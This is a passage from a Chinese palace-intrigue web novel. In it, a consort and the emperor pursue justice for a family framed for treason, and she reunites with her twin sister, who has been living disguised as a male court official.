“景哥的人寻遍大周,在西南一座隐蔽村子里找到了一株罕见草药,调配数年,特意为舒誉做的毒。那毒会慢慢蚕食他的生机,令他逐渐虚弱,哪怕是太医也察觉不出异常,只当他是伤势恶化,最终,舒誉会在梦中死亡。” 孟桓启听了缄默,“那毒还有吗?” 云镜纱摇头,“只此一味。” “可有解药?” 云镜纱迟疑,“这事由景哥全权负责,我并不清楚。” 孟桓启没再追问。 他是个帝王,自然存在帝王多疑的毛病,听闻世间竟有这种罕见毒药,难免多问两句。 喟叹道:“云景舟此人,的确有手腕,有能力。” 云镜纱笑着称赞,“我从见到景哥的第一面起,就觉得他是个聪慧到极致的人。” 她好奇问:“小启哥哥,你们方才都说了什么?接下来准备如何对付舒家?” 孟桓启凤眼微眯,手掌摩挲着她光滑肩头,“小雨,你要在这种时候与我讨论一个男人?” 云镜纱眨眨眼,语气无辜地说起另一个男人,“小启哥哥,有个叫卓均的禁卫我看着还不错,你能把他调到御前吗?” 虽说舒裳晚已投诚,但她毕竟流着舒家的血,不留张底牌在手里,她实在放不下心。 孟桓启神色微恼,把云镜纱压在身下,堵住她那张喋喋不休的小嘴。 云镜纱眼中带笑,双臂勾着他脖颈,笑着送上樱唇。 第76章 天幕灰蒙,大雪纷飞,雪花纷扬而下,簌簌落在石板路上,蕴起满地潮湿。 街道上不见行人,寒风吹得檐下旗帜呼呼作响,瑟瑟发冷。 大雪中走出一道人影。 那人穿着白衣,若非一头乌黑亮丽的长发,几乎要与漫天大雪融为一体。 他踩在石板路上,一步一步,目标明确走来。 守在门口的两名衙役惊讶对视,其中一人道:“衙门重地,闲杂人等勿进。” 男子抬眸看他一眼,目光冷淡如霜雪,他拾级而上,在两名衙役震惊的目光下,拿起棒槌,重重敲在鼓上。 衙役瞪大了眼。 许多年不曾有人敲登闻鼓,今日竟然被他撞见了? 衙役惊道:“你可知敲登闻鼓需受杖刑?” 大冬天的,四十大板下去,人说不准都没了。 男子充耳不闻,一下又一下,沉重敲响鼓面。 厚重鼓声传响,似敲击在衙役心头,令他心脏急遽跳动。 男子启唇,嗓音清冽清晰。 “我乃应家后人,今敲登闻鼓,状告靖国公舒誉诬陷应家谋逆,致应家满门一百三十四人惨死,请陛下为我申冤!” “……请陛下,为我申冤!” 声音远远传开,两名衙役头皮发麻,皆从对方眼里看出惊骇与震动,急忙跑进衙门上报。 …… 云镜纱开了窗,寒风瞬间灌进来,冷得身后芳音打了个抖。 她转身叮嘱尹寻春,“窗子开会儿透透气,你算着我要回来的时辰再关上。” 尹寻春点头,“好。” 丰熙递来手炉,云镜纱揣在怀里,提步往外。 门开的一瞬间,雪粒子“唰”一下扑进来,落在发梢眉宇。 抬手抹去那点湿润,云镜纱道:“走吧。” 还没到慈宁宫,便见帝王銮驾等在前头。 “陛下是在等我?” 孟桓启听见动静抬头,眉宇稍显疲惫,揉了揉眉心低低“嗯”了一声。 云镜纱瞧着有些心疼,低声道:“我自己可以,陛下怎么不在宫里歇歇?” 这几日忙得很,他都好几日不曾到玉华宫来了。 孟桓启摇头,“朕不放心。” 云镜纱便没说什么,与他一道入了慈宁宫。 刚进殿,她眼尾动了动,看向坐在下首的舒裳晚。 唤了声“贵妃娘娘”,云镜纱在舒裳晚身旁落座,“这么冷的天,贵妃娘娘怎么也来了?” 舒裳晚不咸不淡睨她,“本宫是有了身子,又不是得了重病,还来不得了?” 被落了面子,云镜纱也不恼,视线往她小腹上一瞥,笑道:“娘娘精神不错,看来小皇子养得也好。” 舒裳晚一顿。 话都说到这儿了,毕竟也是自己名义上的“皇嗣”,孟桓启自然不能不管不顾。 略有深意看了云镜纱一眼,便与舒裳晚说话,询问她最近的状态。 舒裳晚打起精神,面上含笑,目光依恋,万般珍惜地抚着肚子,看着就像与心爱之人孕育子嗣的寻常姑娘。 说了一会儿,孟桓启便找不到话题了,低头默默喝茶。 云镜纱目光落在桌上,“娘娘喜欢吃橘子?” 舒裳晚很是敷衍,“最近胃口不好。” 云镜纱拿起一个橘子,剥了皮,酸涩感瞬间在鼻端蔓延。 她掰了一瓣放进嘴里,略微一顿。 余光里,舒裳晚已经又拿起了一个橘子,吃得眉眼舒展,津津有味。 云镜纱面不改色地吃完嘴里的橘子。 刚咽下去,太后便到了。 她若无其事把橘子放下,起身见礼。 太后依然是初见时的慈祥模样,给她免了礼,忙对正被宫人搀扶起身的舒裳晚道:“快坐着,你身子重,别多礼了。” 舒裳晚又笑着坐下。 除了第一次,云镜纱来慈宁宫都是点个卯,也不用她说什么,只管坐着喝茶听太后说话就是了。 今日也不例外。 太后穿着厚袄子,头戴抹额,哪怕是在烧着地龙的殿内,手里依旧捧着手炉。 李嬷嬷站在她下首,再往后便是汝桑。 云镜纱扫了一眼便收回视线,低头饮茶,余光却注意着上首。 太后笑盈盈地与孟桓启说着话,眼中慈爱不似作假,仿佛前些时日的一场刺杀都是她的臆想。 聊了片刻,都是些老生常谈,见舒裳晚面露疲惫,太后便放了人。 舒裳晚大概是真的不舒服,出了慈宁宫与孟桓启打了声招呼,坐上轿撵回凤仪宫去了。 孟桓启拉着云镜纱上了銮驾。 长极宫内,高德容奉上茶水便退下了,云镜纱终于松了口气,喟叹道:“太后可真沉得住气。” 硬是没替舒家说一句话。 前几日,有人敲登闻鼓状告舒家诬陷应家谋逆,当天下午,便有学子聚集在京兆府前,宣称彻查应家一事。 比起容家以藏书多著称,应家乃是真真正正的书香门第,百年世家,深受大周学子尊崇。 先帝还是默默无闻的皇子时,应家长女被赐婚于大皇子,有这样的世家支持,大皇子无疑是最有可能登上储君之位的皇子之一。 可惜后来大皇子谋害君父被诛,应家也以谋逆之罪论处,满门被斩,令天下学子为之扼腕。 读书人最是热血,如今听闻应家乃是被陷害,自然坐不住。 孟桓启替云镜纱斟了盏茶,眉眼沉静,“若是沉不住气,她今日也坐不上太后之位了。” 云镜纱吁了口气。 哪怕她习惯了装模作样,但今日一见太后,仍忍不住心中发寒。 明知眼前的人并非自己亲子,甚 至因为他亲手害死了自己的亲生儿子,太后依然能笑脸相迎。 云镜纱琢磨着,她面上虽然笑着,但心里或许恨不得把孟桓启千刀万剐吧? 能忍常人所不忍,心思缜密,手段狠辣,这位舒太后着实厉害。 越发警惕这位太后娘娘,云镜纱饮了口热茶。 “朝堂上怎么样了?” 孟桓启:“虽然已经过去了二十多年,但应家当年帮助的学子不少,当时未能相助,想必心里也有遗憾。” 他垂着眼睫,“如今那些人,可不是当初的愣头青了。” 有的成了大儒,有的就在朝堂,有的开山立派,招收学子,成了举足轻重的人物。 还有他在背后添火…… 孟桓启润了润喉咙,“今晨朝会,朕已令大理寺主审,刑部与御史台协助彻查此事。” 云镜纱闻言嘴角轻轻上扬。 盼了这么多年,终于迎来了今日。 景哥如今就在刑部,他筹谋此事多年,定不会让舒誉躲过去。 “平逸如何?” 孟桓启回:“他在刑部大牢,由大理寺与刑部共同看守。朕已派遣太医为他疗伤,并无大碍。” 闻言,云镜纱松了口气。 平逸是平福的亲子,这次代替云景舟敲登闻鼓,生生受了四十杖。 云镜纱也算是和他一起长大的,自然不愿他出事。 “小雨。” 孟桓启放下杯盏,目光直直看着她,“唐鹤原在应家一事上颇为积极,多次上奏彻查。” “哐当”一下,云镜纱手里的杯子掉落。 她拧着眉,轻声道:“唐大人不是还在养伤?” 孟桓启握住她的手,“唐鹤原撑着病体,主动请缨调查应家旧事。” 他在这事上积极得有些异常。 顿了顿,孟桓启又道:“调查唐鹤原的人回来了,小雨,你可要见见?” 云镜纱手一抖。 握住她的大手用力收紧,源源不断向她传递着暖意。 云镜纱飞快闭了下眼,语气坚定,“要,我要见。” 她要弄清楚,唐鹤原究竟是不是小圆。 孟桓启握了下她的手,起身往外吩咐,“高德容。” 殿外响起脚步声,高德容快步而入,“陛下有何吩咐?” “让卫焱把人叫来。” “奴才这就去。” 等待是件漫长的事,才一盏茶的工夫,云镜纱总觉得过了许久,不时探头往殿外看去,手心出了一层薄汗。 孟桓启坐在她身侧,大手轻柔在后背抚摸,温声道:“别急,跑不了。” 云镜纱稳了稳神,喝了口茶,缓解心中紧张。 一刻钟后,高德容在殿外高声道:“陛下,人来了。” 孟桓启:“进。” 云镜纱没听见脚步声,但已感受到了人影靠近。 她放下茶盏,迫不及待抬眸。 身着黑衣的年轻男子正朝二人走来,走到殿中,他单膝跪地,恭敬道:“见过陛下,娘娘。” 孟桓启直接问:“查得如何?” 男子从怀中递出厚厚一沓信纸,双手奉上。 “唐鹤原祖籍平城,家中略有薄产。他年幼丧父,其母江氏性子柔弱,无法支撑门庭。亲族上门寻衅滋事时,尚在病中的唐鹤原强撑病体,将族人打发,护住了父亲留下的家产。其后多年,他与母亲胞妹相依为命。” “属下寻访了他的先生,此人对唐鹤原赞不绝口,道他过目不忘,天赋卓绝。” 云镜纱拿过信纸,抽出一目十行。 信上所说与男子的话一般无二,只是要细致些。 她目光停留在某处,“唐鹤原九岁丧父?” 男子道:“是。” 云镜纱追问:“他今岁年龄几何?” 男子默了默,“应当有十九了。” 十九。 听到这个数字,云镜纱略有失望。 小圆与她是双胎,她们今年刚满十八。 孟桓启把她的手放在掌心轻轻揉捏,“相差一岁,外表很难看出,先继续看下去。” 云镜纱定神,纤细长指继续翻动手中信纸。 看到某处,她蓦地一顿,“唐鹤原曾伤了脸?” 男子道:“不错。唐鹤原脸上曾受过伤,因他想走仕途,其母江氏担忧不已,带着他四处寻访名医,终是治好了脸,江氏也因奔波留下病根。” 云镜纱深呼吸,“那年是哪年?” “成化十六年。” 成化十六年,魏妤家破人亡那一年。 第77章 云镜纱呼吸陡然重了,握着信纸的手微微颤抖。 “唐鹤原治伤归来,他的友人可有发现他容貌有变?” 男子摇头,“唐鹤原在外治伤的第二年,唐家变卖家产去了外地定居,除了参加院试和祭拜唐父,其余时候极少回到平城,每次来去匆匆,鲜少与友人碰面。” 云镜纱握紧信纸,再次确认,“你方才说,唐鹤原的先生称赞他天资出众?” 男子点头,“是。” “在他丧父之前,唐鹤原可有此之名?” “这……” 男子斟酌回复,“应当没有。” 若是有,在他查探之时不可能没听说过。 云镜纱颔首,“我知道了。” 孟桓启:“不再问别的了?” 她摇头,“这些就够了。” 孟桓启挥手,“下去吧。” 男子起身行了一礼,恭敬退下。 “小雨,你如何看?” 云镜纱冷静回复,“唐鹤原就算不是小圆,身份也一定有问题。” 丧父之后搬离故乡,避免与亲友见面,短短几年间从白身到探花,怎么看都有问题。 “小启哥哥。” 云镜纱深吸气,偏头看着孟桓启,眼里不知何时浮现一层泪光。 她抓着孟桓启的手,恳求道:“如果唐鹤原真的是小圆,你能不能……能不能不要治她的欺君之罪?” 嘴上说着“如果”,但想到唐鹤原身上的梅花胎记,心中已有七成把握。 哽了哽,云镜纱嗓音发颤,“我只有她了,我只有小圆了。” 说话间,一行清泪无声掉落。 孟桓启反手抓住云镜纱手腕,掌中用力,拉着她坐到自己怀里。 指腹点去云镜纱面颊上的泪,孟桓启低声安抚,“朕不会。” 掌根掌住柔嫩侧脸,他罕见说笑,“朕就这么一个姨妹,治了她的罪,该怎么和昭仪娘娘交代?” 云镜纱破涕为笑,依恋般蹭了蹭孟桓启掌心,盈盈若秋水的眸子祈求地看着他。 “我想去见她,可以吗?” …… 寒风飒飒,吹得枝上雪粒漫天飞舞。 檐下挂着一串用贝壳制成的风铃,风一勾,清脆铃声在雪中远远散开。 热气模糊了眉眼,一筷子薄如蝉翼的羊肉穿过白雾,热气腾腾地落在碗中。 叶江临招呼着,“江姨,赶紧吃,这肉凉了味就不好了。” 瘦弱妇人坐在一侧,肩上披着斗篷,脸色略显苍白,但五官姣好,眉眼温婉,嘴角噙着柔软笑意,“好。” 叶江临又给坐在妇人身旁的小姑娘夹了一筷子肉,“妹妹也吃。” 小姑娘十四五岁的年纪,生得娇俏可人,许是性子腼腆,她抿了抿唇,小声道:“谢谢叶哥哥。” 叶江临对她笑了笑,又给唐鹤原夹了肉,最后才是自己。 蘸了蘸料,他把肉全部塞进嘴里,鼓着腮帮子嚼了几下咽了,喟叹道:“这大冬天 的吃顿锅子,可真是享受。” 江夫人眉眼带笑,“江临喜欢就多吃些。” 叶江临笑得眼都弯了,“江姨放心,我不会跟你客气。” 又下了不少肉,叶江临正要捞起,忽听唐鹤原道:“我吃好了。娘,妹妹,我先回去了。” 江夫人惊讶,“就吃这么点?” 小姑娘唐琇眼里带着担忧,“哥哥身上还有伤呢。” “是啊。” 江夫人帮腔,“你身上带着伤,不好好养养多吃点好的,怎么能好?” 唐鹤原:“陛下命大理寺重审应家一案,时间紧迫,我得抓紧回去看卷宗。” “你给我坐下!” 叶江临放下筷子,一把将唐鹤原拉下,眼睛瞪着他,“你是大理寺卿,大理寺没了你就不能运转了?一顿饭的工夫都等不了?” 他生气道:“自从你进了大理寺,都有多久没好好和江姨、阿琇妹妹吃过饭了?” 叶江临越说越气,“还有你的伤,天天折腾,那得到猴年马月才能养好?” 唐鹤原揉了揉额角,“我的伤已经没什么大碍了。” 唐鹤原不许被人瞧他的伤,叶江临具体也不知他的伤势如何,听了这话,立马道:“那你就是不想和江姨一起吃饭。” 他大声指责,“唐鹤原,你不孝!” 唐鹤原:“……” 他要是不孝,那忤逆祖父祖母的叶江临就是孽子。 目光移向江夫人,后者立马半垂着头,做出一副悲伤哀婉的模样。再去看唐琇,也是小嘴撅着不太高兴的模样。 唐鹤原无奈坐回去,“我吃。” 江夫人转忧为喜,笑着替他夹菜,“一顿饭的工夫耽误不了什么的,吃完了你再回去看。你啊,心思一旦放在公事上,就什么也顾不得了,娘待会儿再让人给你熬碗参汤,你看卷宗的时候记得喝。” 唐鹤原神色微暖,“多谢娘。” 江夫人笑着将肉放在他碗中,“咱们一家人,说什么谢?” 唐琇给唐鹤原夹了他喜欢的丸子,嘴角两个梨涡若隐若现,“哥哥吃。” 唐鹤原礼尚往来,“阿琇也吃。” “这才对嘛!” 叶江临往嘴里塞了好几片肉,含糊道:“今个儿这肉还不错,江姨,阿琇,下次我带人去打头鹿回来,咱们吃烤鹿肉!” 唐琇很捧场,嗓音轻快,“好啊,谢谢叶哥哥。” 叶江临笑着给她夹肉。 长廊一角,云镜纱安静望着这一幕,许久才收回视线,低声喃喃,“她们一家好亲近。” 大手搭在她肩上轻轻摩挲,孟桓启揽住云镜纱的肩,“小雨,你该高兴才是。” 是啊,倘若唐鹤原是小圆,能在这样的家庭里生活,她的确应该感到高兴。 只是不知为何,心里总有酸涩蔓延,像是今晨在慈宁宫内吃的那瓣橘子,酸得她眼眶发红。 云镜纱不说话,孟桓启便陪着她一起看着那家人其乐融融吃锅子。 有雪花飞入长廊,云镜纱手上一凉。 她低下头,正巧见到孟桓启的大手包裹住她,拇指指腹轻轻擦去手背上的雪粒子。 嘴角不觉翘起,云镜纱抬头看他一眼,轻轻往后靠住安全感十足的胸膛,心里好受不少。 两刻钟后,唐鹤原几人吃完,眼见他和叶江临一左一右搀扶起江夫人,孟桓启凑到云镜纱耳边低声,“咱们先过去。” 云镜纱点头。 揽住姑娘纤腰,孟桓启借力一跃,在叶江临察觉之前离开长廊。 唐家住的是座两进的院子,江夫人与唐琇住在后院,唐鹤原和叶江临住前院,另有几名烧火做饭,伺候起居的下人。 屋子虽不大,但对他们来说绰绰有余。 把江夫人和唐琇送回去,和叶江临浅浅打了个招呼,唐鹤原去了书房。 他已请旨参与调查应家一案,从大理寺拿了些卷宗回来,见时辰尚早,便一门心思钻进了案子里。 侍女点了灯,唐鹤原摆手,“你下去歇着吧。” “是。” 唐鹤原吐出一口浊气,反手摸了摸后背伤口,眉心微皱,缓步朝书案走去。 烛光暗了一瞬,他瞬间警觉,斥道:“什么人?” 轻微的脚步声响起,地面显出一道长影,唐鹤原目光如炬,紧紧盯着那道影子。 有人从暗处走出。 眼里的警惕转为惊愕,唐鹤原震惊,“昭仪娘娘?您怎会在此?” 云镜纱看着他,轻声道:“抱歉。” 唐鹤原拧眉不解,“娘娘何意?” 从黑暗中走到光源下,云镜纱轻声道:“那年你想为全家人画一张画像,我不想写字,央着你帮我写,不慎打翻了砚台,毁了你的画。你气得不行,一边抹眼泪一边重新画了一幅,过了整整半个月才和我说话。” 唐鹤原目光从茫然转为震惊,蓦地抬头望着云镜纱,五指紧攥成拳。 她今日的穿着简单朴素,一身素色袄裙,脖子上绕着一圈围脖,狐毛裹住小脸,衬得那张脸越发清丽柔软。 一头乌发绾起,发丝藏住耳尖,柔顺垂落。发上系着两条绿色绸带,随着动作轻微晃动。 一双杏眼弯弯,眼尾上翘至乖巧的弧度,像极了记忆中的一人。 云镜纱唇瓣抖动,嗓音轻缓,“你不喜欢吃蜜饯,我总是悄悄从你荷包里偷偷拿一两颗吃掉。” “娘亲新做的衣裳,你穿上的第一天就被我弄脏。” 云镜纱弯了弯唇,眼里晶莹闪烁,“小圆,我是不是一个很糟糕的姐姐?” 唐鹤原胸前剧烈起伏,手背青筋显露,浑身肌肉绷紧,后背隐隐发痛。 仿佛有血从皮肉里涌出,向四肢百骸蔓延,她活了过来,含泪的目光看向云镜纱,声线颤抖,“魏妤。” 一滴泪从眼眶掉落,云镜纱嘴角上扬,轻轻笑着,“许久不见,魏沅。” 唐鹤原重重喘了口气,松开紧攥的手,大步朝云镜纱走去。 泪水模糊了视线,云镜纱看见一个模糊的影子坚定朝她走来,她张开双手,迎了上去,紧紧抱住她。 眼泪落在唐鹤原胸前,她能感受到抱住她的身体在不停颤抖。 云镜纱避开她的伤口,抱住唐鹤原的腰,哽咽道:“小圆,这么多年,累不累啊?” 要女扮男装,撑起家业,护住养母养妹,还要读书,参加科举。 最开始,她只是一个在爹娘姐姐庇护下,安安静静,只喜欢读书的女孩啊。 唐鹤原下意识摇头,努力控制发抖的嗓音,“你呢?” 云镜纱笑了,“你不知道,我过得可幸福了。我遇到一个哥哥,在他的庇护下整日只知吃吃喝喝,开开心心的,没有一点烦恼。” 唐鹤原嗤笑一声,毫不犹豫戳穿她的谎话,“骗人。” 她嗓音低了下去,努力平复激荡狂喜的情绪,轻声道:“若是如此,你怎会进宫?” 云镜纱沉默。 许久后,她问:“那你呢,为何要参加科举?” 唐鹤原缄默半晌,松开她,指尖轻轻擦去姐姐脸上的泪珠,“小雨,我和你一样。” 都想为爹娘和姐姐报仇。 云镜纱鼻头一酸,晶莹泪珠掉落,她着急忙慌擦去,带着哭腔的声音道:“那还是小圆比较有出息。” 她扬着唇笑,语气崇拜自豪,“我妹妹多厉害啊,可是当朝探花呢。要是爹娘知道了,指不定高兴地直说祖坟冒青烟了。” 唐鹤原给她擦泪,含泪的眼里带着笑,“所以,要不要让我做姐姐?” “不要!” 云镜纱坚定摇头,“我才是姐姐!” 姐妹俩目光相对,仿佛一同回到了年幼时关于谁做姐姐的争执,眼里皆带着笑。 笑完,云镜纱再度抱着妹妹,眼泪仿佛止不住的闸门,转瞬将唐鹤原的衣领打湿。 她哭得上气不接下气,含糊间,唐鹤原听见她说。 “小圆,谢谢你还活着。” 第78章 云镜纱哭得不能自已,许久才平复过来。 她拉着唐鹤原坐下,听她说这些年的经历。 “……我和爹娘被舒家的人扔去了乱葬岗,我命大,心脏生在左边,躲过了一劫,可惜爹娘……” 抿抿唇,唐鹤原继续述说:“那时江夫人夫妇来京城探亲,路过时听见我哭着在喊救命,救下了我,替我安葬了爹娘。见我身受重伤,孤苦无依,江夫人起了恻隐之心,便将我也带上了。” “后来唐叔叔不慎去世,唐家大哥也染病去了,江夫人性子柔弱,镇不住上门 寻衅的亲族,当时唐家大哥的死讯并未传出,我只好顶了他的名,喝退了贪得无厌的唐家族人。” “再后来,为了护住她们母女,我便顶替了唐家大哥的身份。” 云镜纱听完握住唐鹤原的手,“江夫人是好人,我该当面谢谢她。” 唐鹤原:“她的确是个好人,这么多年,一直把我当亲生的对待,从未有过苛刻。” 话音顿住,她眯了眯眼,瞧着云镜纱,语气幽幽,“你这语气,不像是姐姐,倒像是娘亲。” 唐鹤原捏住云镜纱脸颊肉,哼道:“魏妤,你只比我大一天而已。” “大一天也是姐姐!” 云镜纱不服气地仰着脸。 唐鹤原正要反驳,窗户突然被叩响。 她一惊,眉头拧住。 云镜纱“哎呀”一声,松开唐鹤原的手,小跑到窗边。 开了窗,孟桓启的面容半隐在黑暗中,低沉的嗓音如同醇厚美酒,“时辰不早了,该回宫了。” 云镜纱扯住他的衣袖,轻轻摇了摇,“我想在这儿陪小圆住一夜,明早再回去,好不好?” 怕孟桓启不同意,她凑上前亲了下他的唇,离开时贝齿轻轻一咬,睁着一双水盈盈的杏眼,“好不好嘛?” 孟桓启知道她们姐妹相认,肯定有说不完的话,拨了拨绕在她发上的绿色绸带,“好。” 云镜纱眼睛发亮,又在孟桓启唇上亲了一口,“小启哥哥最好了。你留个人送我回宫就赶快回去吧,明日还得上朝呢。” 话音落下,她干脆利落地关了窗户,背影轻快地消失在孟桓启眼前。 孟桓启无奈发笑,背靠着窗,两指一捻。 忆起她方才的装扮,他漫无边际地想,若是魏家当年并未出事,这个年岁的她,应当就是这般打扮吧。 寒风瑟瑟,孟桓启抬眸,静静看着被风吹动的枯枝。 见云镜纱回来,唐鹤原踯躅片晌,问道:“他对你好吗?” 她是朝臣,自然听出了那是陛下的声音。 以往听说云昭仪盛宠并未放在心上,如今得知她是小雨,自然会心生担忧。 云镜纱扬唇,“好啊,他待我极好。” 唐鹤原认真端详她的神色。 姑娘眼尾上扬,面上含笑,眼里闪着碎光。那是想起心上人时,由内而外展露的欣喜。 她微微放下心,迟缓问:“陛下……可是知道了我的身份?” 云镜纱点头,“来寻你之前,陛下派人去调查过你。” 她伸出手握住唐鹤原的,温声安抚她的忐忑,“小圆放心,我求过陛下了,他不会追究你女扮男装一事。” “等一切事了,你若还想做官,我再去求他。” 唐鹤原一怔,语气很轻,“我还能继续做官?” 云镜纱点头,“你从小就爱读书,天赋卓绝,如今仕途坦荡,当然不能放弃。大不了……” “……大不了我缠着他辛苦几夜。” 最后一句仿若蚊蝇,唐鹤原没听清,“大不了什么?” “没什么!” 云镜纱耳根发烫,猛地摇头,含糊其辞道:“我到时候再想办法。” 不知想到什么,云镜纱眼睛发亮,一脸八卦,“你和襄阳侯府那位世子是怎么一回事?我进宫前便听说了你们的事,如今他还堂而皇之住进唐府了。” “没什么。” 唐鹤原眼睫微垂,“我起初以为他是个不学无术的纨绔,与他算是不打不相识。后来见他性子还算纯良,才知是误会。他是侯府独苗,老侯爷催着他成婚,他不愿,索性躲进了我家。” “江夫人和阿琇性子恬静,怕给我惹麻烦,极少出府。叶江临性子活泼,有他在,她们能开朗些,我便睁一只眼闭一只眼,让他住下了。” 云镜纱有些失望,“就这样?” 唐鹤原点头,语气平淡,“就这样。” 她越是平静,云镜纱越是觉得不对,不过那是小圆自己的事,她无意插手,笑着挨着她说起别的。 姐妹俩多年未见,自是兴奋激动。 顾及唐鹤原的伤势,云镜纱不舍地住了口,指尖轻轻在她肩膀上一戳,“还疼吗?” 唐鹤原摇头,“宫中太医医术高明,不怎么疼了。” 云镜纱轻声道:“真傻。” “我给你换药吧?” “不用,晚饭前才刚换过。” 云镜纱“哦”了一声,没再说别的。 唐鹤原起身朝她伸手,“小雨,我带你去我的屋子。” 云镜纱笑着握住她。 姐妹俩朝另一间屋子走去。 云镜纱好奇问:“唐家大哥名字就叫唐鹤原?” “不是,他叫唐鹤。那个‘原’字,是我后来加的。你呢?为何要叫现在这个名字?” “当然是随景哥取的啊,不过也加了一点小小的私心。” 云镜纱笑,“不好听吗?” “好听。” 姐妹俩将将相认,无论说什么云镜纱都特别起劲,跟在唐鹤原身后麻雀似的叽叽喳喳的。 唐鹤原认真倾听,不时点一下头。 风雪肆虐,她偏头看着云镜纱洁白侧脸,抬手替她捻去发上的雪粒。 黑夜中,二人相依相偎,如密不可分的并蒂莲。 …… 第二日,云镜纱睡得迷迷糊糊的,忽然听见外头窗上的响动声。 在常远侯府时听多了,她一下子警醒,看了眼身边还在睡的唐鹤原,迷迷糊糊下了床。 开了窗瞧见外头站着的孟桓启时,她有些恍惚,仿佛回到了常远侯府,他晚上悄悄来寻她的时候。 寒风垂在脸上,彻底将云镜纱吹醒。 揉揉眼睛,她问:“你没走?” 孟桓启点头,伸手理了理她凌乱的头发,“穿好衣服,我带你回宫。” 云镜纱还有些迷糊,下意识听从他的话,回去穿上衣服,用手指梳了两下头发。 唐鹤原悠悠转醒,沙哑着嗓音问:“小雨,你要回去了?” “嗯。” 云镜纱轻声道:“你身上有伤,不用上朝,回去再睡会儿。” 唐鹤原没听,起身穿好衣物,点了灯,送云镜纱出去。 一开门,瞧见门外的高大身影,她顿了顿,恭敬道:“陛下。” 孟桓启看她一眼,语气温和,“没有外人,唤朕姐夫即可。” 唐鹤原看向云镜纱。 后者没说话,只温柔地笑着。 唐鹤原抿抿唇,轻声道:“姐夫。” 孟桓启颔首应了,眉宇舒展,瞧着心情极好。 云镜纱回头,依依不舍道:“好好养伤,我下次再来看你。” “好。” 二人告完别,孟桓启揽住云镜纱的腰,起跃间,身影很快消失在夜中。 唐鹤原看了许久,等到指尖泛着凉意,这才端着灯回屋。 出了唐府,云镜纱被孟桓启抱上了马车。 她揪着孟桓启胸前的衣料,语气幽幽,“什么姐夫,名不正言不顺的,你好意思让小圆喊,我都不好意思听。” 孟桓启揽着她,下巴放在云镜纱头顶,轻轻蹭了蹭她蓬松的长发,“你是朕的妻子,朕当然是她的姐夫。” “小雨。” 沙哑的嗓音落在耳畔,“朕的妻子只会是你。” 云镜纱愣了许久才回神。 她抱住孟桓启的腰,轻轻“哼”一声,嘟囔道:“就会说些好听的哄我开心。” 听出孟桓启话中疲倦,她狐疑道:“你该不会在外边站了一夜吧?” 孟桓启低低“嗯”声。 云镜纱生气又感动,“你傻啊,让你回去你非要在外边吹冷风,若是染了风寒有你受的。” 哭了大半宿,她眼睛酸胀得厉害,闭上眼,靠在孟桓启胸前,“睡会儿吧,我陪你一起。” 孟桓启的声音低了下去,抱着她闭上眼。 男人的怀抱温暖又极富安全感,云镜纱本来就没睡醒,很快沉入梦乡。 再次醒来时已身处玉华宫。 她盯着帐子上的海棠花纹,久久都没反应过来。 脑海里回想着昨天发生的一切。 孟桓启带她去了唐府,她见了唐鹤原,和小 圆相认了。 小圆还活着,活得好好的。 云镜纱嘴角翘起,眼里有泪光闪烁。 她抬手去摸眼睛,嘴里“嘶”一声。 疼的。 云镜纱这才感觉到眼睛酸胀疼痛。 她往外唤了一声,“寻春。” 殿外传来响动,丰熙对芳音道:“娘娘醒了,你先去传膳。” 等芳音点了头,她带着尹寻春进殿。 宫人们鱼贯而入,安静候在一侧。 丰熙扶着云镜纱起身,目光触及她红肿的眼,微微一顿。 尹寻春直接多了,立马惊叫一声,“娘娘怎么了?” 扫了眼一旁的宫人们,她压低嗓音,用只有丰熙和云镜纱听得见的声音道:“陛下带您去哪儿了,怎么眼睛肿成这样?” 云镜纱轻轻碰了一下,嘴角含笑,“带我去见了一个人。” 她不愿多说,面上瞧着又像是高兴,尹寻春看不懂,虽然心中好奇,但懂事得没多问。 丰熙让人去煮两个鸡蛋给她热敷。 吃完早膳,云镜纱眼睛还是不太舒服,靠在榻上让尹寻春给她念书。 她闭着眼,白嫩手指不时在膝盖上敲动,一看就知心情极好。 被云镜纱的好心情感染,今个儿整个玉华宫都是笑盈盈的。 孟桓启一踏进门就发现了,眉尾轻轻一挑。 云镜纱瞧见他,立马挥退宫人,眼睛亮晶晶地朝他扑来。 刚把人接住,孟桓启便听到她兴奋的声音。 “小启哥哥,我妹妹回来了!” 孟桓启发现,自从两人说开后,她在他面前越发有几分从前的模样了。 笑着接住云镜纱,他伸手摸摸她头顶,含笑道:“恭喜。” 云镜纱仰着头,弯着眼对他笑。 松开孟桓启,她拉着他坐到榻上,叽叽喳喳地说了许多,话音里满是喜悦。 孟桓启认真听着,不时回应。 屏风上影影绰绰映出二人身影,相依相偎,密不可分,温馨自然。 第79章 天色放晴,屋檐落雪,门前泥泞被人清扫得一干二净,青石板亮得仿佛能照出人影。 鹿皮长靴落地,鞋面洁净,不染纤尘。 再往上,是昂贵锦袍,料子顺滑光亮,绣纹精致繁复。 “爹爹!” 孩童的嗓音自府内传响,舒晋回头时,正瞧见儿子朝他小跑而来。 舒廷喘了喘气,站在爹爹面前仰着头问:“爹爹要去哪儿?” 舒晋摸了摸他脑袋,“爹爹有事要出去,你乖乖的在府中别乱跑。” 舒廷闻言有些委屈,“爹爹,你都好久没陪我和娘亲了。” 他人虽小,但也知这段时日家中巨变,先是祖父在猎场被熊瞎子咬伤,本以为回京之后好好养着迟早能康复,谁知竟是越来越严重。 朝堂之事舒廷不懂,但他知道家里的气氛很是严肃,爹爹每日沉着脸早出晚归,回来也是待在书房,娘亲心中担忧又不敢去扰他,脸色都憔悴了。 而且…… 舒廷咬咬唇。 明日就是娘亲生辰,往年这个时候,爹爹都会和他一起悄悄为娘亲准备生辰礼,可今年却迟迟没有动静,他怀疑爹爹是把娘亲的生辰忘了。 舒晋摸着儿子的手一顿,“廷儿,爹爹这阵子忙,忽略了你和娘亲,等我得空了,陪你们出城游玩可好?” 等那时候,娘亲的生辰都过了。 舒廷没说好也没说不好,转而问:“爹爹要去哪儿?” “爹爹约了人谈事。” 舒晋嘴角绷成一条直线。 应家一事闹出后,朝堂上舒家一派官员被清算了不少,哪怕再傻,舒晋也看出了龙椅上那位表弟和他们不是一路人。 舒家要权势地位富贵,他的皇帝表弟想做个明君。 舒家,已然成为了他成为明君路上最大的绊脚石。 “爹爹。”舒廷拉着舒晋的袖子,眼巴巴地看着他,“我能和你一起去吗?” 他打算好了,等爹爹谈完事,他就让爹爹带他去给娘亲选礼物。 他特意在荷包里放了好几张银票,都是逢年过节祖父祖母爹爹叔叔们给的。 “我保证一定乖乖的,绝对不给爹爹惹事。” 小男孩眨巴着大眼睛,水汪汪地看着他。 